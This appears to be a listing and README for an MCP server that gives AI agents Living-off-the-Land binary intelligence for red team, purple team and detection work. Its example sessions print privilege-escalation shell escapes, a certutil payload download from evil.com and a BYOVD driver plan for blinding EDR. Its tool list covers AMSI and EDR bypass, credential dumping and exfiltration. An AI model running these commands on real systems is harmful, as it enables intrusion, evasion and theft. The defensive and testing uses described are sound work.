living-off-the-land-lolbins-mcp-server
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@living-off-the-land-lolbins-mcp-serverFind LOLBins for Linux privilege escalation"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
The Problem
Living off the Land binary intelligence is the missing layer in every red team engagement, purple team exercise, and detection engineering workflow. The binaries you need to abuse, detect, and defend against are documented across 10+ catalogs, each with its own format, its own schema, its own platform focus:
Traditional LOL binary intel workflow:
Linux privilege escalation -> GTFOBins web interface
Windows LOL binaries -> LOLBAS project website
macOS native binaries -> LOOBins web interface
Vulnerable kernel drivers -> LOLDrivers project
Abusable RMM tools -> LOLRMM project
VMware ESXi binaries -> LOLESXi project
Living off trusted platforms -> LOTP project
C2 over legitimate services -> LOLC2 project
Firmware/BIOS/cabinet abuse -> LOFLCAB project
Active Directory attacks -> WADComs web interface
cross-platform correlation -> copy-paste into a spreadsheet
ATT&CK mapping -> manual lookup in Navigator
detection rule writing -> start from scratch every time
────────────────────────────────────
Total: hours per engagement, most of it switching contexts and reformatting dataliving-off-the-land-lolbins-mcp-server gives your AI agent 59 composite tools (321 total tools) across 10 LOL catalogs via the Model Context Protocol. The agent queries all catalogs in parallel, correlates binaries across platforms, discovers escalation paths, generates detection rules, and presents a unified attack/defense picture — in a single conversation.
With living-off-the-land-lolbins-mcp-server:
You: "I need to escalate privileges on a Linux box with curl, python3, and find available"
Agent: -> lol_lookup {binary: "curl", platform: "linux"}
-> lol_lookup {binary: "python3", platform: "linux"}
-> lol_lookup {binary: "find", platform: "linux"}
-> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
-> lol_detect_rules {binary: "find", technique: "suid"}
-> "3 escalation paths found:
1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
Sigma rule generated for sysmon file creation + process exec patterns.
Detection: monitor execve() calls from find/python3 with euid!=uid."Related MCP server: OnlineCyberTools MCP (280+ filterable tools)
How It's Different
Existing tools give you raw data one catalog at a time. living-off-the-land-lolbins-mcp-server gives your AI agent the ability to reason across all LOL catalogs simultaneously for attack planning, defense validation, and purple team exercises.
Quick Start
Option 1: npx (no install)
npx living-off-the-land-lolbins-mcp-serverAll tools work immediately. No API keys required — all 10 LOL catalogs are open-source data.
Option 2: Clone
git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun installConnect to your AI agent
# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server
# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.tsAdd to ~/Library/Application Support/Claude/claude_desktop_config.json:
{
"mcpServers": {
"lolbins": {
"command": "npx",
"args": ["-y", "living-off-the-land-lolbins-mcp-server"]
}
}
}Same JSON config format. Point the command to npx living-off-the-land-lolbins-mcp-server or your local installation path.
CLI Usage
# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list
# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all
# Show help
npx living-off-the-land-lolbins-mcp-server --help
# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'Start querying
You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"That's it. The agent searches LOLBAS, correlates with ATT&CK, checks for detection coverage, and presents the full picture automatically.
What The AI Can Do
LOL Binary Lookup & Cross-Platform Correlation
You: "Look up certutil.exe across all platforms and catalogs"
Agent: -> lol_lookup {binary: "certutil.exe"}
-> lol_cross_platform {binary: "certutil"}
-> lol_attack_map {binary: "certutil.exe"}
-> "certutil.exe — Windows LOL binary (LOLBAS):
Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
Commands:
Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
Encode: certutil -encode payload.exe encoded.txt
Decode: certutil -decode encoded.txt payload.exe
Cross-platform equivalents:
Linux: curl, wget, openssl (GTFOBins)
macOS: curl, security (LOOBins)
Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
Sigma rule generated."Privilege Escalation Path Discovery
You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."
Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
-> lol_lookup {binary: "vim", platform: "linux"}
-> lol_lookup {binary: "tar", platform: "linux"}
-> lol_lookup {binary: "zip", platform: "linux"}
-> "3 privilege escalation paths found:
1. vim (sudo) — :!/bin/sh — drops to root shell immediately
2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
--checkpoint-action=exec=/bin/sh — shell via checkpoint
3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
-TT 'sh #' — shell via test command
Risk: HIGH — all three provide immediate root shell
MITRE: T1548.003 (Sudo and Sudo Caching)
Remediation: restrict sudo to specific flags, use sudoers NOEXEC"Detection Engineering
You: "Generate detection rules for mshta.exe abuse"
Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
-> lol_detect_yara {binary: "mshta.exe"}
-> lol_detect_sysmon {binary: "mshta.exe"}
-> lol_detect_edr {binary: "mshta.exe"}
-> "Detection package for mshta.exe (LOLBAS):
Sigma: Process creation rule matching mshta.exe spawning
cmd.exe/powershell.exe + network connection rule
YARA: Rule matching mshta.exe loading VBScript/JScript payloads
Sysmon: EventID 1 (child process) + EventID 3 (network)
config snippet provided
EDR (KQL): DeviceProcessEvents query for mshta.exe
with suspicious command-line patterns
Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"Environment Enumeration & Attack Planning
You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."
Agent: -> lol_enum_environment {platform: "windows", version: "10"}
-> lol_attack_graph {platform: "windows", objective: "persistence"}
-> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
-> "Windows 10 LOL binary inventory:
154 LOLBAS binaries available by default
12 LOLDrivers vulnerable drivers known for Win10
8 LOLRMM tools commonly present
Attack chain (initial access -> persistence):
1. mshta.exe — execute HTA payload (T1218.005)
2. certutil.exe — download additional tools (T1105)
3. schtasks.exe — establish persistence (T1053.005)
OPSEC warnings:
- certutil download triggers Defender ATP alert
- mshta.exe flagged by most EDR products
- schtasks.exe is heavily monitored
Alternatives with lower detection:
- Use desktopimgdownldr.dll for download instead of certutil
- Use msiexec for execution instead of mshta"Purple Team Exercise Generation
You: "Create a purple team exercise around LOLDrivers and BYOVD"
Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
-> lol_driver_search {query: "kernel", vulnerable: true}
-> lol_detect_rules {technique: "BYOVD"}
-> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
Red Team Steps:
1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
2. Load driver via sc.exe create / sc.exe start
3. Use driver to disable kernel callbacks (EDR bypass)
Blue Team Validation:
1. Verify driver load events (Sysmon EventID 6)
2. Check driver signature against LOLDrivers blocklist
3. Monitor for kernel callback removal
Scoring: red success if EDR blind, blue success if detected in <5min
MITRE: T1068 (Exploitation for Privilege Escalation)
Caldera profile exported."Tools Reference (59 Composite Tools)
Tool | Description |
| Look up a specific binary/tool across all 10 LOL catalogs — returns functions, commands, ATT&CK mapping, detection notes |
| Full-text search across all catalogs by keyword, technique, or ATT&CK ID |
| List all available LOL catalogs with entry counts, last update time, and status |
Tool | Description |
| Enumerate LOL binaries available on a target platform/version — returns full inventory of abusable binaries |
| Build an attack graph from initial access to objective using available LOL binaries with BFS/DFS path finding |
| Correlate a binary across Linux, Windows, macOS, and ESXi — shows equivalent abuse techniques per platform |
| Map dependencies between LOL binaries — which binaries enable or chain into others |
Tool | Description |
| Discover privilege escalation paths given a list of available binaries and current access level |
| Audit SUID/SGID binaries against GTFOBins for exploitable privilege escalation vectors |
| Audit sudoers entries against GTFOBins for escalation via sudo misconfigurations |
Tool | Description |
| Enumerate persistence techniques achievable with available LOL binaries on the target platform |
| Generate detection logic for LOL binary persistence mechanisms — registry keys, scheduled tasks, launch agents |
Tool | Description |
| Find lateral movement techniques using LOL binaries — WMI, PsExec alternatives, SSH, RDP pivoting |
| Discover fileless lateral movement options that leave minimal forensic artifacts |
Tool | Description |
| Enumerate defense evasion techniques for a binary — AMSI bypass, ETW patching, log evasion |
| Find AppLocker/WDAC bypass techniques using LOL binaries present on the system |
| Discover AMSI bypass methods via LOL binaries and native Windows tools |
| Find techniques to evade or tamper with logging using LOL binaries |
| Discover EDR bypass and blinding techniques using LOL binaries and vulnerable drivers |
Tool | Description |
| Find credential dumping and harvesting techniques using LOL binaries — SAM, LSASS, keychain |
| Enumerate credential stores accessible via LOL binaries on the target platform |
Tool | Description |
| Enumerate all execution techniques for a binary — command execution, script hosting, DLL loading |
| Find fileless execution methods using LOL binaries — in-memory, reflective loading, living-off-the-land |
| Discover execution proxy techniques — binaries that can execute other binaries indirectly |
Tool | Description |
| Find host and network discovery techniques using LOL binaries — enumeration, recon, fingerprinting |
| Enumerate data collection and staging techniques via LOL binaries |
Tool | Description |
| Find data exfiltration techniques using LOL binaries — DNS, HTTP, ICMP, alternate protocols |
| Discover C2 channel options using legitimate services and LOL binaries (LOLC2 catalog) |
| Generate C2 profiles using LOL binaries that blend with normal traffic patterns |
Tool | Description |
| Generate LOL binary abuse payloads for a given technique and platform |
| Encode/obfuscate payloads using LOL binary capabilities — certutil, base64, compress |
| Find payload delivery methods using LOL binaries — download cradles, staged delivery |
| Discover command obfuscation techniques for LOL binary abuse commands |
Tool | Description |
| Check a driver against the LOLDrivers database — known vulnerable, known malicious, CVEs, hashes |
| Audit installed RMM tools against LOLRMM catalog — identify abusable remote management software |
| Search LOFLCAB catalog for firmware, BIOS, and cabinet file abuse techniques |
Tool | Description |
| Deep dive into GTFOBins for a Linux binary — all functions, shell escapes, file operations |
| Deep dive into LOLBAS for a Windows binary — all functions, ATT&CK, detection, paths |
| Deep dive into LOLESXi for ESXi binary abuse — VM escape, hypervisor manipulation |
Tool | Description |
| Evaluate OPSEC risk for a set of LOL binary techniques — detection likelihood, EDR coverage, noise level |
| Generate a full engagement plan using LOL binaries for a given objective and constraints |
Tool | Description |
| Map LOL binary usage to known threat actors and APT groups |
| Analyze a set of LOL techniques against known campaigns and intrusion sets |
| Get trending LOL binary abuse techniques from recent threat intelligence |
Tool | Description |
| Enumerate forensic artifacts left by LOL binary abuse — logs, registry, prefetch, shimcache |
| Correlate LOL binary execution events into an incident timeline |
| Generate forensic hunting queries for LOL binary abuse artifacts across log sources |
Tool | Description |
| Generate Sigma detection rules for LOL binary abuse techniques |
| Generate YARA rules for identifying LOL binary abuse patterns in files and memory |
| Generate Sysmon configuration entries for monitoring LOL binary activity |
| Generate EDR queries (KQL, SPL, EQL) for LOL binary detection |
Tool | Description |
| Analyze detection coverage gaps for LOL binary techniques in your environment |
| Audit LOL binary execution baselines to identify anomalous usage patterns |
| Score red team techniques against blue team detection capabilities for LOL binaries |
Tool | Description |
| Search WADComs for Active Directory attack commands — Kerberoasting, DCSync, Pass-the-Hash, delegation abuse |
Tool | Description |
| Export findings as structured reports — JSON, Markdown, CSV formats |
| Export ATT&CK Navigator layer JSON for LOL binary technique coverage |
| Generate attack path visualizations — Mermaid diagrams, Graphviz DOT, ASCII art |
Tool | Description |
| Export LOL binary attack chains as MITRE Caldera adversary profiles for automated simulation |
Data Sources (10)
Catalog | Platform | Entries | Type | What it provides |
Linux/Unix | 400+ | Static/GitHub | Unix binaries exploitable for privilege escalation, file ops, shell escape, SUID abuse | |
Windows | 250+ | Static/GitHub | Windows LOL binaries, scripts, and libraries for execution, evasion, persistence | |
macOS | 50+ | Static/GitHub | macOS native binaries abusable for offensive operations | |
Windows (kernel) | 700+ | API/GitHub | Vulnerable and malicious kernel drivers for BYOVD attacks | |
Cross-platform | 100+ | Static/GitHub | Legitimate RMM tools abused for persistence and remote access | |
VMware ESXi | 30+ | Static/GitHub | ESXi binaries for VM escape, hypervisor manipulation, ransomware deployment | |
Cross-platform | 40+ | Static/GitHub | Trusted platforms and services abused for malicious purposes | |
Cross-platform | 30+ | Static/GitHub | Legitimate services abused as command-and-control channels | |
Cross-platform | 20+ | Static/GitHub | Firmware, BIOS, and cabinet file abuse techniques | |
Windows AD | 150+ | Static/GitHub | Active Directory attack commands and techniques |
Architecture
src/
index.ts # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
protocol/
mcp-server.ts # MCP server setup (stdio transport)
tools.ts # Tool registry — all 59 composite tools + 321 total tools
types/
index.ts # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
schema/
catalog.ts # Unified catalog schema (Zod)
technique.ts # ATT&CK technique schema
binary.ts # Binary/tool schema
utils/
rate-limiter.ts # Per-catalog rate limiter
cache.ts # TTL cache for catalog data
loader.ts # Catalog data loader (fetch + parse + normalize)
updater.ts # Catalog auto-updater (check for new entries)
catalogs/
gtfobins/ # GTFOBins parser and normalizer
lolbas/ # LOLBAS parser and normalizer
loobins/ # LOOBins parser and normalizer
loldrivers/ # LOLDrivers parser and normalizer
lolrmm/ # LOLRMM parser and normalizer
lolesxi/ # LOLESXi parser and normalizer
lotp/ # LOTP parser and normalizer
lolc2/ # LOLC2 parser and normalizer
loflcab/ # LOFLCAB parser and normalizer
wadcoms/ # WADComs parser and normalizer
index.ts # Catalog registry and loader index
knowledge-base/
attack-map.ts # MITRE ATT&CK mapping engine
binary-db.ts # Unified binary database (normalized from all catalogs)
technique-db.ts # Technique database with cross-references
environment/
enumerator.ts # Platform environment enumeration
platform-profiles.ts # Default binary inventories per OS/version
graph/
attack-graph.ts # Attack graph data structure
pathfinder.ts # BFS/DFS path finding algorithms
visualizer.ts # Mermaid, Graphviz, ASCII graph rendering
providers/
core/ # Core lookup, search, list tools (3)
environment/ # Environment & graph tools (4)
privesc/ # Privilege escalation tools (3)
persistence/ # Persistence tools (2)
lateral/ # Lateral movement tools (2)
evasion/ # Defense evasion tools (5)
credential/ # Credential access tools (2)
execution/ # Execution tools (3)
discovery/ # Discovery & collection tools (2)
exfiltration/ # Exfiltration & C2 tools (3)
payload/ # Payload & obfuscation tools (4)
drivers/ # Drivers, RMM, CI/CD tools (3)
platform/ # Platform deep dive tools (3)
opsec/ # OPSEC & planning tools (2)
threat-intel/ # Threat intelligence tools (3)
forensics/ # Forensics & IR tools (3)
detection/ # Detection engineering tools (4)
blue-team/ # Blue team analytics tools (3)
ad/ # AD & WADComs tools (1)
reporting/ # Reporting & visualization tools (3)
integration/ # Integration export tools (1)
composite/
index.ts # Composite tool orchestrator (chains sub-tools)
scripts/
update-catalogs.ts # Script to fetch and update all catalog data
build-knowledge-base.ts # Script to rebuild the unified knowledge baseDesign decisions:
10 catalogs, 1 server — Every LOL catalog is an independent module with its own parser and normalizer. The agent picks which catalogs to query based on the context.
Unified knowledge base — All 10 catalogs are normalized into a common schema, enabling cross-platform correlation and attack graph reasoning.
Composite tools — 59 composite tools orchestrate 321 underlying sub-tools, so the agent gets high-level capabilities without needing to chain dozens of calls.
Attack graph engine — BFS/DFS path finding over the binary dependency graph enables automated escalation path discovery and attack chain generation.
Detection generation — Sigma, YARA, Sysmon, and EDR query templates are built-in, not generated from scratch each time.
Zero API keys — All 10 LOL catalogs are open-source data. No authentication required for any tool.
TTL caching — Catalog data is cached locally with configurable TTL to avoid redundant fetches during multi-tool workflows.
Minimal dependencies —
@modelcontextprotocol/sdk,zod, andcheerio. All HTTP via nativefetch.
Requirements
Runtime: Bun 1.3.9+ (recommended) or Node.js 22+
Platform: macOS, Linux, Windows
Network: Internet access for initial catalog fetch (subsequent queries use cache)
Limitations
Catalog data freshness depends on upstream project update frequency
GTFOBins and LOLBAS have the most comprehensive entries; newer catalogs (LOFLCAB, LOLC2) have fewer
Attack graph reasoning is heuristic-based — paths represent possibilities, not guaranteed exploitation
Detection rules are templates that may need tuning for specific environments
LOLDrivers vulnerability data covers known CVEs only — 0-day driver vulnerabilities not included
WADComs requires Active Directory context for meaningful results
macOS / Linux tested (Windows not tested)
Part of the MCP Security Suite
Project | Domain | Tools |
Browser-based security testing | 39 tools, Firefox, injection testing | |
Cloud security (AWS/Azure/GCP) | 38 tools, 60+ checks | |
GitHub security posture | 39 tools, 45 checks | |
Vulnerability intelligence | 23 tools, 5 sources | |
OSINT & reconnaissance | 37 tools, 12 sources | |
Dark web & threat intelligence | 66 tools, 16 sources | |
living-off-the-land-lolbins-mcp-server | LOL binary intelligence | 59 composite tools, 10 catalogs |
Available Tools
59 toolsanalyze_binaryA
Deep analysis of a specific binary across all LOL catalogs. Returns full technique details, chain potential, detection surface analysis, functional alternatives, and computed risk score.
| Name | Required | Description | Default |
|---|---|---|---|
| binary | Yes | Binary name to analyze (e.g. python, certutil, osascript) | |
| platform | No | Filter analysis by platform | all |
| analysis_type | No | Type of analysis: full (everything), chains (chain potential), detection (detection surface), alternatives (functional equivalents), history (ATT&CK mapping), risk (risk scoring) | full |
| environment_id | No | Optional environment session ID for context-aware analysis |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided. Description lists return content (technique details, chain potential, etc.) but does not disclose side effects, authorization requirements, or read-only nature. Adequate but could be improved by stating non-destructive behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, front-loaded key information, no redundant words. Efficient and clear.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Description covers purpose and return content but lacks details on output format or error handling. With no output schema, more detail on return structure would improve completeness. However, for an analysis tool, the current info is sufficient for selection and invocation.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so baseline is 3. The description does not add parameter-specific details beyond the schema; it only provides context for the overall function.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states verb 'analyze' and resource 'specific binary across all LOL catalogs', and distinguishes from sibling tools like 'lookup_binary' by emphasizing 'deep analysis' with multiple return components.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies this tool is for in-depth analysis, but does not explicitly compare to siblings like 'analyze_environment' or 'analyze_forensic_artifact'. Context is clear, but no when-not-to-use guidance is given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
analyze_detection_effectivenessB
Analyze detection rule effectiveness — rule vs technique coverage, false positive estimation, bypass probability, overall rule quality scoring.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Effectiveness analysis mode | |
| binary | No | Binary name | |
| rule_name | No | Detection rule name or ID to analyze | |
| technique_id | No | LOL technique ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of behavioral disclosure. It does not mention any side effects, required permissions, rate limits, or data mutability, leaving the agent unaware of important behavioral traits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that efficiently communicates the tool's purpose. However, it lists multiple modes in a dash-separated list, which could be more structured. It is appropriately sized but slightly verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description does not explain return values, prerequisites, or context for interpreting the results. For a complex multi-mode analysis tool, this leaves significant gaps. The lack of output schema exacerbates the incompleteness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema already documents all parameters. The description adds marginal value by listing the analysis modes, which correspond to the 'mode' enum, but does not provide any deeper semantics beyond what is in the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'analyze' and the resource 'detection rule effectiveness', and lists specific analytical modes (rule vs technique, false positive, bypass probability, rule quality). This distinguishes it from sibling tools like 'assess_detection_gaps' and 'find_detection_blind_spots'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not provide any guidance on when to use this tool versus alternatives. It lacks explicit when-to-use or when-not-to-use instructions, which is critical given the many sibling tools in the detection domain.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
analyze_environmentA
Multi-mode environment analysis: compute risk scores, map attack surface, prioritize objectives, compare environments, or generate attack timelines.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Analysis mode: risk_score (overall risk), attack_surface (detailed breakdown), prioritize (rank attack objectives), compare (diff two environments), timeline (attack phase planning) | |
| environment_id | Yes | Primary environment session ID | |
| timeline_steps | No | Maximum number of timeline phases for 'timeline' mode | |
| attack_objectives | No | List of attack objectives for 'prioritize' mode (e.g. ['escalate to root', 'establish persistence', 'lateral movement']) | |
| compare_environment_id | No | Second environment ID for 'compare' mode |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description should disclose behavioral traits. It lacks any mention of side effects, authorization requirements, rate limits, or output format. For a multi-mode analysis tool, this is a significant gap.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, packed sentence that front-loads all key information. Every word earns its place, and it avoids redundancy with the schema.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description does not explain what each mode returns, nor does it specify which parameters are required for each mode. Given the absence of an output schema and annotations, this is insufficient for an agent to use the tool effectively.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, and each parameter has a description (e.g., mode enum values explained). The tool description lists modes but adds minimal value beyond the schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Multi-mode environment analysis' and lists specific analysis types (risk scores, attack surface, prioritize, compare, timelines). This verb-resource combination is distinct from sibling tools, which are more granular (e.g., find_escalation_paths).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage through its mode enumeration (e.g., use 'risk_score' for overall risk, 'attack_surface' for breakdown). It does not explicitly state when to use this tool vs. siblings, but the modes provide clear guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
analyze_forensic_artifactA
Analyze forensic artifacts for LOL technique indicators — Windows Event Logs, Process Monitor traces, EDR alerts, network captures.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Forensic artifact type | |
| event_id | No | Windows Event Log ID (e.g. 4688, 4104) | |
| alert_data | No | EDR alert data to analyze | |
| command_line | No | Command line from forensic artifact | |
| network_data | No | Network capture summary to analyze |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations present, so description carries full burden. It only says 'analyze' without disclosing what the analysis produces (e.g., indicators, confidence scores), side effects, or any operational constraints. Behavioral transparency is minimal.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, front-loaded with action and resource, efficiently conveys core purpose with no wasted words. The dash-separated list is clear and scannable.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a complex tool with 5 parameters, no output schema, and no annotations, the description lacks crucial details: what the analysis returns, how to interpret results, or any use-case constraints. It covers only basic purpose.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with parameter descriptions. The description adds value by mapping mode values to artifact types (e.g., 'event_log' corresponds to 'Windows Event Logs'), providing context beyond the schema's enum list.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states specific verb 'Analyze' and resource 'forensic artifacts for LOL technique indicators', listing explicit artifact types (Windows Event Logs, Process Monitor, EDR alerts, network captures). This distinctively separates it from sibling tools like analyze_binary or find_discovery.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Description implies usage when forensic artifacts are available but provides no explicit guidance on when to use this tool vs alternatives (e.g., analyze_binary for binaries). No when-not-to-use or prerequisite conditions are mentioned.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
analyze_opsec_riskB
Analyze operational security risk — noise level, log footprint, EDR trigger probability, and safer alternatives for a given command
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Type of OPSEC analysis to perform | all |
| command | Yes | Command to analyze for operational security risk | |
| platform | Yes | Target platform for OPSEC analysis | |
| edr_product | No | Specific EDR product to evaluate trigger probability for |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of disclosing behavior. It lists the output categories (noise, logs, EDR, alternatives) but does not explain how the analysis is performed (e.g., static analysis, execution), potential side effects, safety considerations, or limitations. This lack of transparency could lead to misuse or incorrect expectations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that efficiently conveys the tool's core function and key output categories. It is front-loaded with the main action and resource, containing no redundant or extraneous information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description does not specify the output format or structure (no output schema exists), and it omits usage context such as whether the command is executed locally or remotely. For a tool with 4 parameters and no annotations, this lacks sufficient context for correct invocation and interpretation of results.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds value by explicitly listing the aspects analyzed, which directly correspond to the 'mode' enum values (noise, logs, edr, alternatives). This clarifies the purpose of the mode parameter. However, it does not add detail for 'command' or 'platform' beyond what the schema provides, keeping the score slightly above baseline.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: to analyze operational security risk for a command, specifying four aspects (noise, logs, EDR, alternatives). It uses a specific verb ('Analyze') and resource ('operational security risk'), effectively distinguishing it from sibling tools that focus on other types of analysis (e.g., analyze_binary, analyze_environment) or specific attack techniques.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no guidance on when to use this tool versus alternatives, no mention of prerequisites or scenarios where it is contraindicated. It only states what it does, leaving the agent to infer usage context without explicit direction.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
assess_detection_gapsB
Assess detection coverage gaps for LOL techniques — Sigma coverage, EDR coverage, Sysmon events, priority gaps, rule recommendations, blind spots.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Detection assessment mode | |
| focus_area | No | Focus area | |
| edr_product | No | Deployed EDR product | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so description carries full burden. It only states the assessment function without disclosing behavioral traits like side effects, authentication needs, or rate limits. The read-only nature is assumed but not stated.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with no wasted words. Efficiently lists the covered areas. Front-loaded with core action 'Assess detection coverage gaps'.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, description does not explain return values or format. While the mode options are clear, the tool's complexity (4 params, multiple modes) warrants more detail on what the result looks like. Adequate but incomplete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% and parameters are well-described in schema (e.g., mode enum, focus_area, edr_product, environment_id). The description adds minimal extra meaning beyond listing the modes already in the enum. Baseline 3 is appropriate.
